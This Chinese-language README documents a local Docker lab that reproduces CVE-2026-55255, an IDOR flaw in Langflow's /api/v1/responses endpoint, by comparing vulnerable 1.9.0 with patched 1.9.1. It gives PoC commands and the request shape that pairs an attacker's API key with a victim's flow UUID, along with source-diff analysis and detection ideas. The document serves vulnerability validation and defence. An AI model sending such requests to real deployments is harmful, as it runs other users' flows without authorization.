在存在漏洞的目标中，攻击者拥有的API密钥可以执行受害者拥有的流程，并且响应中包含仅受害者可见的标记：```text
VICTIM_ONLY_CONTEXT_55255_VULN

本实验使用 Langflow 1.9.0 和 Langflow 1.9.1 验证了存在漏洞与已修复版本的 HTTP 行为。

该实验范围仅限于本地 Docker 服务。它不针对外部系统，也不包含凭证窃取、数据库转储、破坏性负载、外部回调、恶意软件、持久化或后利用活动。

## 已验证的事实

| 声明 | 证据 | 如何在本实验中验证 |
| ---- | ---- | ------------------- |
| CVE-2026-55255 影响 Langflow 的 `/api/v1/responses` 端点。 | GitHub 安全公告 GHSA-qrpv-q767-xqq2 描述了 `/api/v1/responses` 中的 IDOR 漏洞。 | 查看参考资料部分，并在两个本地目标上运行 PoC。 |
| GitHub 安全公告列出的受影响版本为 `< 1.9.1`，修复版本为 `1.9.1`。 | GitHub 安全公告 GHSA-qrpv-q767-xqq2。 | 比较 `docker-compose.yml` 中存在漏洞和已修复的目标版本。 |
| 一些下游漏洞来源对确切修复版本存在不一致意见。 | GitHub/GitLab 将 `1.9.1` 列为已修复；一些下游情报页面提到 `1.9.2` 或包含混合措辞。 | 查看参考资料部分，并依赖本实验对测试的 1.9.1 行为的验证。 |
| 本实验使用 Langflow 1.9.0 作为存在漏洞的比较目标。 | `vuln` 服务使用 `langflowai/langflow:1.9.0`。 | 检查 `docker-compose.yml` 并运行 `docker compose ps`。 |
| 本实验使用 Langflow 1.9.1 作为已修复的比较目标。 | `patched` 服务使用 `langflowai/langflow:1.9.1`。 | 检查 `docker-compose.yml` 并运行 `docker compose ps`。 |
| Langflow 的响应 API 使用 `POST /api/v1/responses`。 | Langflow 文档描述了兼容 OpenAI 的响应 API 端点。 | 针对 `/api/v1/responses` 运行 PoC 或手动 curl 请求。 |
| Langflow 的响应 API 接受流程 ID 作为 `model` 值。 | Langflow 文档指出 `model` 值会被替换为 `flow_id`。 | 检查 PoC 请求体。 |
| Langflow API 请求需要通过 `x-api-key` 提供 API 密钥。 | Langflow API 文档描述了使用 `x-api-key` 头进行 API 密钥身份验证。 | 检查 PoC 请求头。 |
| PoC 是基于请求的。 | `poc/validate_idor.py` 发送 HTTP 请求，不调用 Docker、Docker Compose、shell 命令或容器 API。 | 检查 `poc/validate_idor.py`。 |
| 存在漏洞的目标会执行一个受害者拥有的流程，使用攻击者拥有的 API 密钥。 | 存在漏洞的响应返回 `VICTIM_ONLY_CONTEXT_55255_VULN`。 | 使用受害者流程 ID 和攻击者 API 密钥运行存在漏洞的 PoC 命令。 |
| 已修复的目标会阻止相同的跨用户执行路径。 | 已修复的响应返回 `error.code = flow_not_found`，并且不返回受害者标记。 | 使用受害者流程 ID 和攻击者 API 密钥运行已修复的 PoC 命令。 |

## 假设与未知情况

本实验使用 Langflow 1.9.0 作为存在漏洞的比较目标，因为 GitHub 安全公告 GHSA-qrpv-q767-xqq2 将 1.9.1 之前的版本标记为受影响，且本地测试确认了 1.9.0 中的漏洞行为。

本实验使用 Langflow 1.9.1 作为已修复的比较目标，因为 GitHub 安全公告 GHSA-qrpv-q767-xqq2 将 1.9.1 列为已修复版本，且本地测试确认 1.9.1 通过 `flow_not_found` 阻止了测试中的跨用户 `/api/v1/responses` 执行路径。

来源之间存在版本差异。GitHub 和 GitLab 公告将 1.9.1 之前的版本列为受影响，1.9.1 列为已修复。一些下游漏洞情报页面提到 1.9.2 或包含关于修复版本的混合措辞。本仓库记录了这一差异，并直接验证了测试行为。```text
Langflow 1.9.0
→ attacker API key + victim flow UUID
→ victim marker returned
→ vulnerable behavior observed

Langflow 1.9.1
→ attacker API key + victim flow UUID
→ flow_not_found
→ victim marker not returned
→ blocked behavior observed

使用此请求形状：```json
{
  "model": "<victim-flow-id>",
  "input": "cross-user CVE-2026-55255 validation request",
  "stream": false
}

修补后的行为可概括为：```text
Attacker owns API key
→ attacker sends POST /api/v1/responses
→ model contains victim-owned flow UUID
→ flow resolver loads candidate Flow
→ resolver compares Flow.user_id with authenticated API-key user id
→ cross-user lookup is treated as not found
→ response endpoint returns flow_not_found
→ victim-owned flow is not executed

## 源码分析

通过对比 Langflow `v1.9.0` 和 `v1.9.1`，确认了源码级别的问题。

用于审查的已检查源码标签如下：

| 版本 | Git 提交 |
| ------- | ---------- |
| v1.9.0  | `a47f2ad17eb662e940c550cfccb64a87dddd7e0b` |
| v1.9.1  | `dc26d19c1ed5b2779a3a759f78a747f47089c534` |

相关辅助函数为：```python
async def get_flow_by_id_or_endpoint_name(flow_id_or_name: str, user_id: str | UUID | None = None) -> FlowRead:

缺失的安全相关检查是：```python
flow.user_id == authenticated_user.id

重要的行为是：```text
if the flow exists
and the flow belongs to another user
then treat it as not found

而不是执行受害者拥有的流程。

对于此实验，主要易受攻击的行为是 `/api/v1/responses` 执行路径到达 `get_flow_by_id_or_endpoint_name()` 并解析受害者拥有的流程 UUID 而不强制执行所有权。

该补丁还加固了相关的流程执行路由。在 `endpoints.py` 中，之前使用原始助手作为 FastAPI 依赖项的路由已从以下内容更改：```python
flow: Annotated[FlowRead, Depends(get_flow_by_id_or_endpoint_name)]

这些包装器更改是针对其他流程执行路由（如 `/api/v1/run*`）的相关加固。它们确保辅助函数接收到经过身份验证的用户ID，而不是依赖于普通的请求参数。本实验所展示的核心修复仍然是 `get_flow_by_id_or_endpoint_name()` 内部的解析器侧所有权检查。

因此，源码级别的修复有两个相关部分：```text
Core resolver fix:
  enforce owner scoping before returning a Flow object

Related route dependency hardening:
  pass the authenticated API-key or session user's ID into the resolver

该补丁还为需要解析流程的路由添加了经过身份验证的包装器依赖项：```python
async def get_flow_for_api_key_user(...):
    return await get_flow_by_id_or_endpoint_name(flow_id_or_name, api_key_user.id)

async def get_flow_for_current_user(...):
    return await get_flow_by_id_or_endpoint_name(flow_id_or_name, current_user.id)

补丁还减少了信息泄露。跨用户访问被视为“未找到”，而不是返回一个不同的授权响应，该响应可能会揭示另一个用户的流程是否存在。

这个实验将源代码审查和运行时验证分开：```text
Source patch review:
  explains why the vulnerable resolver could return a victim-owned flow.

Runtime validation:
  proves the vulnerable target executes the victim-owned flow and the patched target does not.

`state/` 文件由种子服务在实验室启动期间生成。`src/` 目录包含用于源代码差异验证的已检出 Langflow 源代码树。

这两个 Langflow 服务使用不同的应用程序版本和不同的容器内 SQLite 数据库：

| 服务         | 组件       | 版本/角色                         |
| ------------ | ---------- | --------------------------------- |
| vuln         | Langflow   | 易受攻击的目标应用程序            |
| patched      | Langflow   | 已修补的比较应用程序              |
| seed-vuln    | Python     | 创建本地用户、API 密钥和流程      |
| seed-patched | Python     | 创建本地用户、API 密钥和流程      |

默认暴露的服务：```text
Vulnerable target: http://localhost:7860
Patched target:    http://localhost:7861

他们创建：```text
victim user
attacker user
attacker API key
victim flow
attacker flow
state/vuln.json
state/patched.json
state/vuln.ready
state/patched.ready

检查服务状态：```bash
docker compose ps

预期的暴露目标：```text
http://localhost:7860
http://localhost:7861

预期文件：```text
state/vuln.json
state/vuln.ready
state/patched.json
state/patched.ready

对修补后的目标运行基于请求的验证：```bash
python3 poc/validate_idor.py \
  --url "$(jq -r '.public_url' state/patched.json)" \
  --api-key "$(jq -r '.attacker.api_key' state/patched.json)" \
  --flow-id "$(jq -r '.victim_flow.id' state/patched.json)" \
  --expect-marker "$(jq -r '.victim_flow.marker' state/patched.json)"

Required options:

| 选项 | 含义 |
| ------ | ------- |
| `--url` | Langflow 基础 URL |
| `--api-key` | 用于 `x-api-key` 标头的 API 密钥 |
| `--flow-id` | 用作 `model` 值的 Flow UUID |

Optional options:

| 选项 | 含义 |
| ------ | ------- |
| `--expect-marker` | 如果目标流程执行，响应中预期的标记 |

PoC 发送以下 HTTP 请求：```text
POST /api/v1/responses
x-api-key: <redacted>
Content-Type: application/json

The PoC 基于请求。它不调用 Docker、Docker Compose、shell 命令、WP-CLI、容器 API 或 Langflow seed API。

在此实验室中，`state/*.json` 可用于将一次性本地 API 密钥和流程 ID 复制到 PoC 命令中。PoC 本身不依赖这些文件。`state/*.json` 中的 API 密钥是一次性本地实验室密钥；请勿在这些命令中使用实际的生产 API 密钥。

## 预期结果

### 易受攻击的目标

命令：```bash
python3 poc/validate_idor.py \
  --url "$(jq -r '.public_url' state/vuln.json)" \
  --api-key "$(jq -r '.attacker.api_key' state/vuln.json)" \
  --flow-id "$(jq -r '.victim_flow.id' state/vuln.json)" \
  --expect-marker "$(jq -r '.victim_flow.marker' state/vuln.json)"

重要的易受攻击信号是：```text
attacker API key
+ victim flow UUID
+ HTTP 200 completed response
+ victim-only marker returned

预期的已修补目标信号：```text
========================================================================================
[CVE-2026-55255 REQUEST-BASED VALIDATION]
[TARGET] http://localhost:7861
[FLOW_ID] <victim-flow-id>
[API_KEY] <redacted>

[REQUEST]
POST http://localhost:7861/api/v1/responses
x-api-key: <redacted>
Content-Type: application/json
{
  "model": "<victim-flow-id>",
  "input": "cross-user CVE-2026-55255 validation request",
  "stream": false
}

[RESPONSE]
HTTP 200
flow execution observed : False
expected marker         : VICTIM_ONLY_CONTEXT_55255_PATCHED
marker found            : False
error code              : flow_not_found

[BODY]
{"error":{"message":"Flow with id '<victim-flow-id>' not found","type":"invalid_request_error","code":"flow_not_found"}}

========================================================================================
[CLASSIFICATION] BLOCKED - target returned flow_not_found.
FINAL: BLOCKED_BEHAVIOR_OBSERVED

### 无标记时观察到的执行

如果省略了 `--expect-marker`，并且目标返回了完整的 Langflow 响应，则 PoC 报告：```text
[CLASSIFICATION] FLOW_EXECUTION_OBSERVED - target returned a completed flow response.
[NOTE] Ownership of the supplied flow ID must be confirmed separately.
FINAL: FLOW_EXECUTION_OBSERVED

该请求使用所提供的API密钥：```text
x-api-key: <attacker-api-key>

预期的脆弱行为：```text
HTTP 200
response object status is completed
error is null
output contains victim-owned flow marker

在本实验中，Langflow 1.9.1 返回 `HTTP 200` 以及一个 OpenAI 风格的 JSON 错误对象：```json
{"error":{"code":"flow_not_found"}}

预期的易受攻击的结果：```text
HTTP/1.1 200 OK
...
"status":"completed"
"error":null
"VICTIM_ONLY_CONTEXT_55255_VULN"

预期修补结果：```text
HTTP/1.1 200 OK
...
{"error":{"code":"flow_not_found"}}

该实验室不演示真实数据访问、真实机密访问、LLM提供方密钥滥用、外部回调或后渗透利用。

## 检测与监控

潜在指标包括经过身份验证的请求到：```text
POST /api/v1/responses

高信号检测思路：```text
POST /api/v1/responses
AND request.model is a flow UUID
AND authenticated API-key user does not own that flow UUID

示例已修补的验证工件：```text
Request:
  POST /api/v1/responses
  x-api-key: attacker user's API key
  model: victim user's flow UUID

Response:
  error.code: flow_not_found
  victim marker not returned

该概念验证有意基于请求进行。它不会调用Docker、Docker Compose、Shell命令、WP-CLI或容器API。

该实验环境不包含以下有效载荷：

* 流程UUID暴力破解，
* 用户枚举，
* 凭证窃取，
* 数据库导出，
* LLM提供商密钥滥用，
* 任意命令执行，
* 恶意软件，
* 持久化，
* 横向移动，
* 客户数据访问，
* 或外部回调。

目的是在受控环境中演示一个特定的技术条件：```text
HTTP request
+ attacker-owned API key
+ victim-owned flow UUID
+ vulnerable target executes victim-owned flow
+ patched target returns flow_not_found